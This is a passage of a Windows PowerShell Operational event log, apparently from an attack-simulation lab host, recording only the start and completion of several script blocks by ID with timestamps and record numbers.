2394b1ee-8edd-421a-ab65-1527ea0df67e Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa 09/09/2021 06:12:07 PM LogName=Microsoft-Windows-PowerShell/Operational SourceName=Microsoft-Windows-PowerShell EventCode=4105 EventType=5 Type=Verbose ComputerName=win-host-987.attackrange.local User=NOT_TRANSLATED Sid=S-1-5-21-1166625382-1442148322-2337405042-2397 SidType=0 TaskCategory=Starting Command OpCode=On create calls RecordNumber=1988602 Keywords=None Message=Started invocation of ScriptBlock ID: 2394b1ee-8edd-421a-ab65-1527ea0df67e Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa 09/09/2021 06:12:07 PM LogName=Microsoft-Windows-PowerShell/Operational SourceName=Microsoft-Windows-PowerShell EventCode=4106 EventType=5 Type=Verbose ComputerName=win-host-987.attackrange.local User=NOT_TRANSLATED Sid=S-1-5-21-1166625382-1442148322-2337405042-2397 SidType=0 TaskCategory=Stopping Command OpCode=On create calls RecordNumber=1988601 Keywords=None Message=Completed invocation of ScriptBlock ID: 52a2683a-ff39-4e9b-bbd9-f6ddd86cb52e Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa 09/09/2021 06:12:07 PM LogName=Microsoft-Windows-PowerShell/Operational SourceName=Microsoft-Windows-PowerShell EventCode=4105 EventType=5 Type=Verbose ComputerName=win-host-987.attackrange.local User=NOT_TRANSLATED Sid=S-1-5-21-1166625382-1442148322-2337405042-2397 SidType=0 TaskCategory=Starting Command OpCode=On create calls RecordNumber=1988600 Keywords=None Message=Started invocation of ScriptBlock ID: 52a2683a-ff39-4e9b-bbd9-f6ddd86cb52e Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa 09/09/2021 06:12:07 PM LogName=Microsoft-Windows-PowerShell/Operational SourceName=Microsoft-Windows-PowerShell EventCode=4106 EventType=5 Type=Verbose ComputerName=win-host-987.attackrange.local User=NOT_TRANSLATED Sid=S-1-5-21-1166625382-1442148322-2337405042-2397 SidType=0 TaskCategory=Stopping Command OpCode=On create calls RecordNumber=1988599 Keywords=None Message=Completed invocation of ScriptBlock ID: 05c95d33-f989-43da-98b0-0935e9b9d787 Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa 09/09/2021 06:12:07 PM LogName=Microsoft-Windows-PowerShell/Operational SourceName=Microsoft-Windows-PowerShell EventCode=4105 EventType=5 Type=Verbose ComputerName=win-host-987.attackrange.local User=NOT_TRANSLATED Sid=S-1-5-21-1166625382-1442148322-2337405042-2397 SidType=0 TaskCategory=Starting Command OpCode=On create calls RecordNumber=1988598 Keywords=None Message=Started invocation of ScriptBlock ID: 05c95d33-f989-43da-98b0-0935e9b9d787 Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa 09/09/2021 06:12:07 PM LogName=Microsoft-Windows-PowerShell/Operational SourceName=Microsoft-Windows-PowerShell EventCode=4106 EventType=5 Type=Verbose ComputerName=win-host-987.attackrange.local User=NOT_TRANSLATED Sid=S-1-5-21-1166625382-1442148322-2337405042-2397 SidType=0 TaskCategory=Stopping Command OpCode=On create calls RecordNumber=1988597 Keywords=None Message=Completed invocation of ScriptBlock ID: 814708c6-dacd-4473-87cf-ec01b4626b2a Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa 09/09/2021 06:12:07 PM LogName=Microsoft-Windows-PowerShell/Operational SourceName=Microsoft-Windows-PowerShell EventCode=4105 EventType=5 Type=Verbose ComputerName=win-host-987.attackrange.local User=NOT_TRANSLATED Sid=S-1-5-21-1166625382-1442148322-2337405042-2397 SidType=0 TaskCategory=Starting Command OpCode=On create calls RecordNumber=1988596 Keywords=None Message=Started invocation of ScriptBlock ID: 814708c6-dacd-4473-87cf-ec01b4626b2a Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa 09/09/2021 06:12:07 PM LogName=Microsoft-Windows-PowerShell/Operational SourceName=Microsoft-Windows-PowerShell EventCode=4106 EventType=5 Type=Verbose ComputerName=win-host-987.attackrange.local User=NOT_TRANSLATED Sid=S-1-5-21-1166625382-1442148322-2337405042-2397 SidType=0 TaskCategory=Stopping Command OpCode=On create calls RecordNumber=1988595 Keywords=None Message=Completed invocation of ScriptBlock ID: 52a2683a-ff39-4e9b-bbd9-f6ddd86cb52e Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa 09/09/2021 06:12:07 PM LogName=Microsoft-Windows-PowerShell/Operational SourceName=Microsoft-Windows-PowerShell EventCode=4105 EventType=5 Type=Verbose ComputerName=win-host-987.attackrange.local User=NOT_TRANSLATED Sid=S-1-5-21-1166625382-1442148322-2337405042-2397 SidType=0 TaskCategory=Starting Command OpCode=On create calls RecordNumber=1988594 Keywords=None Message=Started invocation of ScriptBlock ID: 52a2683a-ff39-4e9b-bbd9-f6ddd86cb52e Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa 09/09/2021 06:12:12 PM LogName=Microsoft-Windows-PowerShell/Operational SourceName=Microsoft-Windows-PowerShell EventCode=4106 EventType=5 Type=Verbose ComputerName=win-host-987.attackrange.local User=NOT_TRANSLATED Sid=S-1-5-21-1166625382-1442148322-2337405042-2397 SidType=0 TaskCategory=Stopping Command OpCode=On create calls RecordNumber=1988613 Keywords=None Message=Completed invocation of ScriptBlock ID: 2394b1ee-8edd-421a-ab65-1527ea0df67e Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa 09/09/2021 06:12:12 PM LogName=Microsoft-Windows-PowerShell/Operational SourceName=Microsoft-Windows-PowerShell EventCode=4105 EventType=5 Type=Verbose ComputerName=win-host-987.attackrange.local User=NOT_TRANSLATED Sid=S-1-5-21-1166625382-1442148322-2337405042-2397 SidType=0 TaskCategory=Starting Command OpCode=On create calls RecordNumber=1988612 Keywords=None Message=Started invocation of ScriptBlock ID: 2394b1ee-8edd-421a-ab65-1527ea0df67e Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa 09/09/2021 06:12:12 PM LogName=Microsoft-Windows-PowerShell/Operational SourceName=Microsoft-Windows-PowerShell EventCode=4106 EventType=5 Type=Verbose ComputerName=win-host-987.attackrange.local User=NOT_TRANSLATED Sid=S-1-5-21-1166625382-1442148322-2337405042-2397 SidType=0 TaskCategory=Stopping Command OpCode=On create calls RecordNumber=1988611 Keywords=None Message=Completed invocation of ScriptBlock ID: 52a2683a-ff39-4e9b-bbd9-f6ddd86cb52e Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa 09/09/2021 06:12:12 PM LogName=Microsoft-Windows-PowerShell/Operational SourceName=Microsoft-Windows-PowerShell EventCode=4105 EventType=5 Type=Verbose ComputerName=win-host-987.attackrange.local User=NOT_TRANSLATED Sid=S-1-5-21-1166625382-1442148322-2337405042-2397 SidType=0 TaskCategory=Starting Command OpCode=On create calls RecordNumber=1988610 Keywords=None Message=Started invocation of ScriptBlock ID: 52a2683a-ff39-4e9b-bbd9-f6ddd86cb52e Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa 09/09/2021 06:12:12 PM LogName=Microsoft-Windows-PowerShell/Operational SourceName=Microsoft-Windows-PowerShell EventCode=4106 EventType=5 Type=Verbose ComputerName=win-host-987.attackrange.local User=NOT_TRANSLATED Sid=S-1-5-21-1166625382-1442148322-2337405042-2397 SidType=0 TaskCategory=Stopping Command OpCode=On create calls RecordNumber=1988609 Keywords=None Message=Completed invocation of ScriptBlock ID: 05c95d33-f989-43da-98b0-0935e9b9d787 Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa 09/09/2021 06:12:12 PM LogName=Microsoft-Windows-PowerShell/Operational SourceName=Microsoft-Windows-PowerShell EventCode=4105 EventType=5 Type=Verbose ComputerName=win-host-987.attackrange.local User=NOT_TRANSLATED Sid=S-1-5-21-1166625382-1442148322-2337405042-2397 SidType=0 TaskCategory=Starting Command OpCode=On create calls RecordNumber=1988608 Keywords=None Message=Started invocation of ScriptBlock ID: 05c95d33-f989-43da-98b0-0935e9b9d787 Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa 09/09/2021 06:12:12 PM LogName=Microsoft-Windows-PowerShell/Operational SourceName=Microsoft-Windows-PowerShell EventCode=4106 EventType=5 Type=Verbose ComputerName=win-host-987.attackrange.local User=NOT_TRANSLATED Sid=S-1-5-21-1166625382-1442148322-2337405042-2397 SidType=0 TaskCategory=Stopping Command OpCode=On create calls RecordNumber=1988607 Keywords=None Message=Completed invocation of ScriptBlock ID: 814708c6-dacd-4473-87cf-ec01b4626b2a Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa 09/09/2021 06:12:12 PM LogName=Microsoft-Windows-PowerShell/Operational SourceName=Microsoft-Windows-PowerShell EventCode=4105 EventType=5 Type=Verbose ComputerName=win-host-987.attackrange.local User=NOT_TRANSLATED Sid=S-1-5-21-1166625382-1442148322-2337405042-2397 SidType=0 TaskCategory=Starting Command OpCode=On create calls RecordNumber=1988606 Keywords=None Message=Started invocation of ScriptBlock ID: 814708c6-dacd-4473-87cf-ec01b4626b2a Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa 09/09/2021 06:12:12 PM LogName=Microsoft-Windows-PowerShell/Operational SourceName=Microsoft-Windows-PowerShell EventCode=4106 EventType=5 Type=Verbose ComputerName=win-host-987.attackrange.local User=NOT_TRANSLATED Sid=S-1-5-21-1166625382-1442148322-2337405042-2397 SidType=0 TaskCategory=Stopping Command OpCode=On create calls RecordNumber=1988605 Keywords=None Message=Completed invocation of ScriptBlock ID: 52a2683a-ff39-4e9b-bbd9-f6ddd86cb52e Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa 09/09/2021 06:12:12 PM LogName=Microsoft-Windows-PowerShell/Operational SourceName=Microsoft-Windows-PowerShell EventCode=4105 EventType=5 Type=Verbose ComputerName=win-host-987.attackrange.local User=NOT_TRANSLATED Sid=S-1-5-21-1166625382-1442148322-2337405042-2397 SidType=0 TaskCategory=Starting Command OpCode=On create calls RecordNumber=1988604 Keywords=None Message=Started invocation of ScriptBlock ID: 52a2683a-ff39-4e9b-bbd9-f6ddd86cb52e Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa 09/09/2021 06:12:16 PM LogName=Microsoft-Windows-PowerShell/Operational SourceName=Microsoft-Windows-PowerShell EventCode=4106 EventType=5 Type=Verbose ComputerName=win-host-987.attackrange.local User=NOT_TRANSLATED Sid=S-1-5-21-1166625382-1442148322-2337405042-2397 SidType=0 TaskCategory=Stopping Command OpCode=On create calls RecordNumber=1988623 Keywords=None Message=Completed invocation of ScriptBlock ID: 2394b1ee-8edd-421a-ab65-1527ea0df67e Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa 09/09/2021 06:12:16 PM LogName=Microsoft-Windows-PowerShell/Operational SourceName=Microsoft-Windows-PowerShell EventCode=4105 EventType=5 Type=Verbose ComputerName=win-host-987.attackrange.local User=NOT_TRANSLATED Sid=S-1-5-21-1166625382-1442148322-2337405042-2397 SidType=0 TaskCategory=Starting Command OpCode=On create calls RecordNumber=1988622 Keywords=None Message=Started invocation of ScriptBlock ID: 2394b1ee-8edd-421a-ab65-1527ea0df67e Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa 09/09/2021 06:12:16 PM LogName=Microsoft-Windows-PowerShell/Operational SourceName=Microsoft-Windows-PowerShell EventCode=4106 EventType=5 Type=Verbose ComputerName=win-host-987.attackrange.local User=NOT_TRANSLATED Sid=S-1-5-21-1166625382-1442148322-2337405042-2397 SidType=0 TaskCategory=Stopping Command OpCode=On create calls RecordNumber=1988621 Keywords=None Message=Completed invocation of ScriptBlock ID: 52a2683a-ff39-4e9b-bbd9-f6ddd86cb52e Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa 09/09/2021 06:12:16 PM LogName=Microsoft-Windows-PowerShell/Operational SourceName=Microsoft-Windows-PowerShell EventCode=4105 EventType=5 Type=Verbose ComputerName=win-host-987.attackrange.local User=NOT_TRANSLATED Sid=S-1-5-21-1166625382-1442148322-2337405042-2397 SidType=0 TaskCategory=Starting Command OpCode=On create calls RecordNumber=1988620 Keywords=None Message=Started invocation of ScriptBlock ID: 52a2683a-ff39-4e9b-bbd9-f6ddd86cb52e Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa 09/09/2021 06:12:16 PM LogName=Microsoft-Windows-PowerShell/Operational SourceName=Microsoft-Windows-PowerShell EventCode=4106 EventType=5 Type=Verbose ComputerName=win-host-987.attackrange.local User=NOT_TRANSLATED Sid=S-1-5-21-1166625382-1442148322-2337405042-2397 SidType=0 TaskCategory=Stopping Command OpCode=On create calls RecordNumber=1988619 Keywords=None Message=Completed invocation of ScriptBlock ID: 05c95d33-f989-43da-98b0-0935e9b9d787 Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa 09/09/2021 06:12:16 PM LogName=Microsoft-Windows-PowerShell/Operational SourceName=Microsoft-Windows-PowerShell EventCode=4105 EventType=5 Type=Verbose ComputerName=win-host-987.attackrange.local User=NOT_TRANSLATED Sid=S-1-5-21-1166625382-1442148322-2337405042-2397 SidType=0 TaskCategory=Starting Command OpCode=On create calls RecordNumber=1988618 Keywords=None Message=Started invocation of ScriptBlock ID: 05c95d33-f989-43da-98b0-0935e9b9d787 Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa 09/09/2021 06:12:16 PM LogName=Microsoft-Windows-PowerShell/Operational SourceName=Microsoft-Windows-PowerShell EventCode=4106 EventType=5 Type=Verbose ComputerName=win-host-987.attackrange.local User=NOT_TRANSLATED Sid=S-1-5-21-1166625382-1442148322-2337405042-2397 SidType=0 TaskCategory=Stopping Command OpCode=On create calls RecordNumber=1988617 Keywords=None Message=Completed invocation of ScriptBlock ID: 814708c6-dacd-4473-87cf-ec01b4626b2a Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa 09/09/2021 06:12:16 PM LogName=Microsoft-Windows-PowerShell/Operational SourceName=Microsoft-Windows-PowerShell EventCode=4105 EventType=5 Type=Verbose ComputerName=win-host-987.attackrange.local User=NOT_TRANSLATED Sid=S-1-5-21-1166625382-1442148322-2337405042-2397 SidType=0 TaskCategory=Starting Command OpCode=On create calls RecordNumber=1988616 Keywords=None Message=Started invocation of ScriptBlock ID: 814708c6-dacd-4473-87cf-ec01b4626b2a Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa 09/09/2021 06:12:16 PM LogName=Microsoft-Windows-PowerShell/Operational SourceName=Microsoft-Windows-PowerShell EventCode=4106 EventType=5 Type=Verbose ComputerName=win-host-987.attackrange.local User=NOT_TRANSLATED Sid=S-1-5-21-1166625382-1442148322-2337405042-2397 SidType=0 TaskCategory=Stopping Command OpCode=On create calls RecordNumber=1988615 Keywords=None Message=Completed invocation of ScriptBlock ID: 52a2683a-ff39-4e9b-bbd9-f6ddd86cb52e Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa 09/09/2021 06:12:16 PM LogName=Microsoft-Windows-PowerShell/Operational SourceName=Microsoft-Windows-PowerShell EventCode=4105 EventType=5 Type=Verbose ComputerName=win-host-987.attackrange.local User=NOT_TRANSLATED Sid=S-1-5-21-1166625382-1442148322-2337405042-2397 SidType=0 TaskCategory=Starting Command OpCode=On create calls RecordNumber=1988614 Keywords=None Message=Started invocation of ScriptBlock ID: 52a2683a-ff39-4e9b-bbd9-f6ddd86cb52e Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa 09/09/2021 06:12:20 PM LogName=Microsoft-Windows-PowerShell/Operational SourceName=Microsoft-Windows-PowerShell EventCode=4106 EventType=5 Type=Verbose ComputerName=win-host-987.attackrange.local User=NOT_TRANSLATED Sid=S-1-5-21-1166625382-1442148322-2337405042-2397 SidType=0 TaskCategory=Stopping Command OpCode=On create calls RecordNumber=1988633 Keywords=None Message=Completed invocation of ScriptBlock ID: 2394b1ee-8edd-421a-ab65-1527ea0df67e Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa 09/09/2021 06:12:20 PM LogName=Microsoft-Windows-PowerShell/Operational SourceName=Microsoft-Windows-PowerShell EventCode=4105 EventType=5 Type=Verbose ComputerName=win-host-987.attackrange.local User=NOT_TRANSLATED Sid=S-1-5-21-1166625382-1442148322-2337405042-2397 SidType=0 TaskCategory=Starting Command OpCode=On create calls RecordNumber=1988632 Keywords=None Message=Started invocation of ScriptBlock ID: 2394b1ee-8edd-421a-ab65-1527ea0df67e Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa 09/09/2021 06:12:20 PM LogName=Microsoft-Windows-PowerShell/Operational SourceName=Microsoft-Windows-PowerShell EventCode=4106 EventType=5 Type=Verbose ComputerName=win-host-987.attackrange.local User=NOT_TRANSLATED Sid=S-1-5-21-1166625382-1442148322-2337405042-2397 SidType=0 TaskCategory=Stopping Command OpCode=On create calls RecordNumber=1988631 Keywords=None Message=Completed invocation of ScriptBlock ID: 52a2683a-ff39-4e9b-bbd9-f6ddd86cb52e Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa 09/09/2021 06:12:20 PM LogName=Microsoft-Windows-PowerShell/Operational SourceName=Microsoft-Windows-PowerShell EventCode=4105 EventType=5 Type=Verbose ComputerName=win-host-987.attackrange.local User=NOT_TRANSLATED Sid=S-1-5-21-1166625382-1442148322-2337405042-2397 SidType=0 TaskCategory=Starting Command OpCode=On create calls RecordNumber=1988630 Keywords=None Message=Started invocation of ScriptBlock ID: 52a2683a-ff39-4e9b-bbd9-f6ddd86cb52e Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa 09/09/2021 06:12:20 PM LogName=Microsoft-Windows-PowerShell/Operational SourceName=Microsoft-Windows-PowerShell EventCode=4106 EventType=5 Type=Verbose ComputerName=win-host-987.attackrange.local User=NOT_TRANSLATED Sid=S-1-5-21-1166625382-1442148322-2337405042-2397 SidType=0 TaskCategory=Stopping Command OpCode=On create calls RecordNumber=1988629 Keywords=None Message=Completed invocation of ScriptBlock ID: 05c95d33-f989-43da-98b0-0935e9b9d787 Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa 09/09/2021 06:12:20 PM LogName=Microsoft-Windows-PowerShell/Operational SourceName=Microsoft-Windows-PowerShell EventCode=4105 EventType=5 Type=Verbose ComputerName=win-host-987.attackrange.local User=NOT_TRANSLATED Sid=S-1-5-21-1166625382-1442148322-2337405042-2397 SidType=0 TaskCategory=Starting Command OpCode=On create calls RecordNumber=1988628 Keywords=None Message=Started invocation of ScriptBlock ID: 05c95d33-f989-43da-98b0-0935e9b9d787 Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa 09/09/2021 06:12:20 PM LogName=Microsoft-Windows-PowerShell/Operational SourceName=Microsoft-Windows-PowerShell EventCode=4106 EventType=5 Type=Verbose ComputerName=win-host-987.attackrange.local User=NOT_TRANSLATED Sid=S-1-5-21-1166625382-1442148322-2337405042-2397 SidType=0 TaskCategory=Stopping Command OpCode=On create calls RecordNumber=1988627 Keywords=None Message=Completed invocation of ScriptBlock ID: 814708c6-dacd-4473-87cf-ec01b4626b2a Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa 09/09/2021 06:12:20 PM LogName=Microsoft-Windows-PowerShell/Operational SourceName=Microsoft-Windows-PowerShell EventCode=4105 EventType=5 Type=Verbose ComputerName=win-host-987.attackrange.local User=NOT_TRANSLATED Sid=S-1-5-21-1166625382-1442148322-2337405042-2397 SidType=0 TaskCategory=Starting Command OpCode=On create calls RecordNumber=1988626 Keywords=None Message=Started invocation of ScriptBlock ID: 814708c6-dacd-4473-87cf-ec01b4626b2a Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa 09/09/2021 06:12:20 PM LogName=Microsoft-Windows-PowerShell/Operational SourceName=Microsoft-Windows-PowerShell EventCode=4106 EventType=5 Type=Verbose ComputerName=win-host-987.attackrange.local User=NOT_TRANSLATED Sid=S-1-5-21-1166625382-1442148322-2337405042-2397 SidType=0 TaskCategory=Stopping Command OpCode=On create calls RecordNumber=1988625 Keywords=None Message=Completed invocation of ScriptBlock ID: 52a2683a-ff39-4e9b-bbd9-f6ddd86cb52e Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa 09/09/2021 06:12:20 PM LogName=Microsoft-Windows-PowerShell/Operational SourceName=Microsoft-Windows-PowerShell EventCode=4105 EventType=5 Type=Verbose ComputerName=win-host-987.attackrange.local User=NOT_TRANSLATED Sid=S-1-5-21-1166625382-1442148322-2337405042-2397 SidType=0 TaskCategory=Starting Command OpCode=On create calls RecordNumber=1988624 Keywords=None Message=Started invocation of ScriptBlock ID: 52a2683a-ff39-4e9b-bbd9-f6ddd86cb52e Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa 09/09/2021 06:12:24 PM LogName=Microsoft-Windows-PowerShell/Operational SourceName=Microsoft-Windows-PowerShell EventCode=4106 EventType=5 Type=Verbose ComputerName=win-host-987.attackrange.local User=NOT_TRANSLATED Sid=S-1-5-21-1166625382-1442148322-2337405042-2397 SidType=0 TaskCategory=Stopping Command OpCode=On create calls RecordNumber=1988643 Keywords=None Message=Completed invocation of ScriptBlock ID: 2394b1ee-8edd-421a-ab65-1527ea0df67e Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa 09/09/2021 06:12:24 PM LogName=Microsoft-Windows-PowerShell/Operational SourceName=Microsoft-Windows-PowerShell EventCode=4105 EventType=5 Type=Verbose ComputerName=win-host-987.attackrange.local User=NOT_TRANSLATED Sid=S-1-5-21-1166625382-1442148322-2337405042-2397 SidType=0 TaskCategory=Starting Command OpCode=On create calls RecordNumber=1988642 Keywords=None Message=Started invocation of ScriptBlock ID: 2394b1ee-8edd-421a-ab65-1527ea0df67e Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa 09/09/2021 06:12:24 PM LogName=Microsoft-Windows-PowerShell/Operational SourceName=Microsoft-Windows-PowerShell EventCode=4106 EventType=5 Type=Verbose ComputerName=win-host-987.attackrange.local User=NOT_TRANSLATED Sid=S-1-5-21-1166625382-1442148322-2337405042-2397 SidType=0 TaskCategory=Stopping Command OpCode=On create calls RecordNumber=1988641 Keywords=None Message=Completed invocation of ScriptBlock ID: 52a2683a-ff39-4e9b-bbd9-f6ddd86cb52e Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa 09/09/2021 06:12:24 PM LogName=Microsoft-Windows-PowerShell/Operational SourceName=Microsoft-Windows-PowerShell EventCode=4105 EventType=5 Type=Verbose ComputerName=win-host-987.attackrange.local User=NOT_TRANSLATED Sid=S-1-5-21-1166625382-1442148322-2337405042-2397 SidType=0 TaskCategory=Starting Command OpCode=On create calls RecordNumber=1988640 Keywords=None Message=Started invocation of ScriptBlock ID: 52a2683a-ff39-4e9b-bbd9-f6ddd86cb52e Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa 09/09/2021 06:12:24 PM LogName=Microsoft-Windows-PowerShell/Operational SourceName=Microsoft-Windows-PowerShell EventCode=4106 EventType=5 Type=Verbose ComputerName=win-host-987.attackrange.local User=NOT_TRANSLATED Sid=S-1-5-21-1166625382-1442148322-2337405042-2397 SidType=0 TaskCategory=Stopping Command OpCode=On create calls RecordNumber=1988639 Keywords=None Message=Completed invocation of ScriptBlock ID: 05c95d33-f989-43da-98b0-0935e9b9d787 Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa 09/09/2021 06:12:24 PM LogName=Microsoft-Windows-PowerShell/Operational SourceName=Microsoft-Windows-PowerShell EventCode=4105 EventType=5 Type=Verbose ComputerName=win-host-987.attackrange.local User=NOT_TRANSLATED Sid=S-1-5-21-1166625382-1442148322-2337405042-2397 SidType=0 TaskCategory=Starting Command OpCode=On create calls RecordNumber=1988638 Keywords=None Message=Started invocation of ScriptBlock ID: 05c95d33-f989-43da-98b0-0935e9b9d787 Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa 09/09/2021 06:12:24 PM LogName=Microsoft-Windows-PowerShell/Operational SourceName=Microsoft-Windows-PowerShell EventCode=4106 EventType=5 Type=Verbose ComputerName=win-host-987.attackrange.local User=NOT_TRANSLATED Sid=S-1-5-21-1166625382-1442148322-2337405042-2397 SidType=0 TaskCategory=Stopping Command OpCode=On create calls RecordNumber=1988637 Keywords=None Message=Completed invocation of ScriptBlock ID: 814708c6-dacd-4473-87cf-ec01b4626b2a Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa 09/09/2021 06:12:24 PM LogName=Microsoft-Windows-PowerShell/Operational SourceName=Microsoft-Windows-PowerShell EventCode=4105 EventType=5 Type=Verbose ComputerName=win-host-987.attackrange.local User=NOT_TRANSLATED Sid=S-1-5-21-1166625382-1442148322-2337405042-2397 SidType=0 TaskCategory=Starting Command OpCode=On create calls RecordNumber=1988636 Keywords=None Message=Started invocation of ScriptBlock ID: 814708c6-dacd-4473-87cf-ec01b4626b2a Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa 09/09/2021 06:12:24 PM LogName=Microsoft-Windows-PowerShell/Operational SourceName=Microsoft-Windows-PowerShell EventCode=4106 EventType=5 Type=Verbose ComputerName=win-host-987.attackrange.local User=NOT_TRANSLATED Sid=S-1-5-21-1166625382-1442148322-2337405042-2397 SidType=0 TaskCategory=Stopping Command OpCode=On create calls RecordNumber=1988635 Keywords=None Message=Completed invocation of ScriptBlock ID: 52a2683a-ff39-4e9b-bbd9-f6ddd86cb52e Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa 09/09/2021 06:12:24 PM LogName=Microsoft-Windows-PowerShell/Operational SourceName=Microsoft-Windows-PowerShell EventCode=4105 EventType=5 Type=Verbose ComputerName=win-host-987.attackrange.local User=NOT_TRANSLATED Sid=S-1-5-21-1166625382-1442148322-2337405042-2397 SidType=0 TaskCategory=Starting Command OpCode=On create calls RecordNumber=1988634 Keywords=None Message=Started invocation of ScriptBlock ID: 52a2683a-ff39-4e9b-bbd9-f6ddd86cb52e Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa 09/09/2021 06:12:30 PM LogName=Microsoft-Windows-PowerShell/Operational SourceName=Microsoft-Windows-PowerShell EventCode=4106 EventType=5 Type=Verbose ComputerName=win-host-987.attackrange.local User=NOT_TRANSLATED Sid=S-1-5-21-1166625382-1442148322-2337405042-2397 SidType=0 TaskCategory=Stopping Command OpCode=On create calls RecordNumber=1988653 Keywords=None Message=Completed invocation of ScriptBlock ID: 2394b1ee-8edd-421a-ab65-1527ea0df67e Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa 09/09/2021 06:12:30 PM LogName=Microsoft-Windows-PowerShell/Operational SourceName=Microsoft-Windows-PowerShell EventCode=4105 EventType=5 Type=Verbose ComputerName=win-host-987.attackrange.local User=NOT_TRANSLATED Sid=S-1-5-21-1166625382-1442148322-2337405042-2397 SidType=0 TaskCategory=Starting Command OpCode=On create calls RecordNumber=1988652 Keywords=None Message=Started invocation of ScriptBlock ID: 2394b1ee-8edd-421a-ab65-1527ea0df67e Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa 09/09/2021 06:12:30 PM LogName=Microsoft-Windows-PowerShell/Operational SourceName=Microsoft-Windows-PowerShell EventCode=4106 EventType=5 Type=Verbose ComputerName=win-host-987.attackrange.local User=NOT_TRANSLATED Sid=S-1-5-21-1166625382-1442148322-2337405042-2397 SidType=0 TaskCategory=Stopping Command OpCode=On create calls RecordNumber=1988651 Keywords=None Message=Completed invocation of ScriptBlock ID: 52a2683a-ff39-4e9b-bbd9-f6ddd86cb52e Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa 09/09/2021 06:12:30 PM LogName=Microsoft-Windows-PowerShell/Operational SourceName=Microsoft-Windows-PowerShell EventCode=4105 EventType=5 Type=Verbose ComputerName=win-host-987.attackrange.local User=NOT_TRANSLATED Sid=S-1-5-21-1166625382-1442148322-2337405042-2397 SidType=0 TaskCategory=Starting Command OpCode=On create calls RecordNumber=1988650 Keywords=None Message=Started invocation of ScriptBlock ID: 52a2683a-ff39-4e9b-bbd9-f6ddd86cb52e Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa 09/09/2021 06:12:30 PM LogName=Microsoft-Windows-PowerShell/Operational SourceName=Microsoft-Windows-PowerShell EventCode=4106 EventType=5 Type=Verbose ComputerName=win-host-987.attackrange.local User=NOT_TRANSLATED Sid=S-1-5-21-1166625382-1442148322-2337405042-2397 SidType=0 TaskCategory=Stopping Command OpCode=On create calls RecordNumber=1988649 Keywords=None Message=Completed invocation of ScriptBlock ID: 05c95d33-f989-43da-98b0-0935e9b9d787 Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa 09/09/2021 06:12:30 PM LogName=Microsoft-Windows-PowerShell/Operational SourceName=Microsoft-Windows-PowerShell EventCode=4105 EventType=5 Type=Verbose ComputerName=win-host-987.attackrange.local User=NOT_TRANSLATED Sid=S-1-5-21-1166625382-1442148322-2337405042-2397 SidType=0 TaskCategory=Starting Command OpCode=On create calls RecordNumber=1988648 Keywords=None Message=Started invocation of ScriptBlock ID: 05c95d33-f989-43da-98b0-0935e9b9d787 Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa 09/09/2021 06:12:30 PM LogName=Microsoft-Windows-PowerShell/Operational SourceName=Microsoft-Windows-PowerShell EventCode=4106 EventType=5 Type=Verbose ComputerName=win-host-987.attackrange.local User=NOT_TRANSLATED 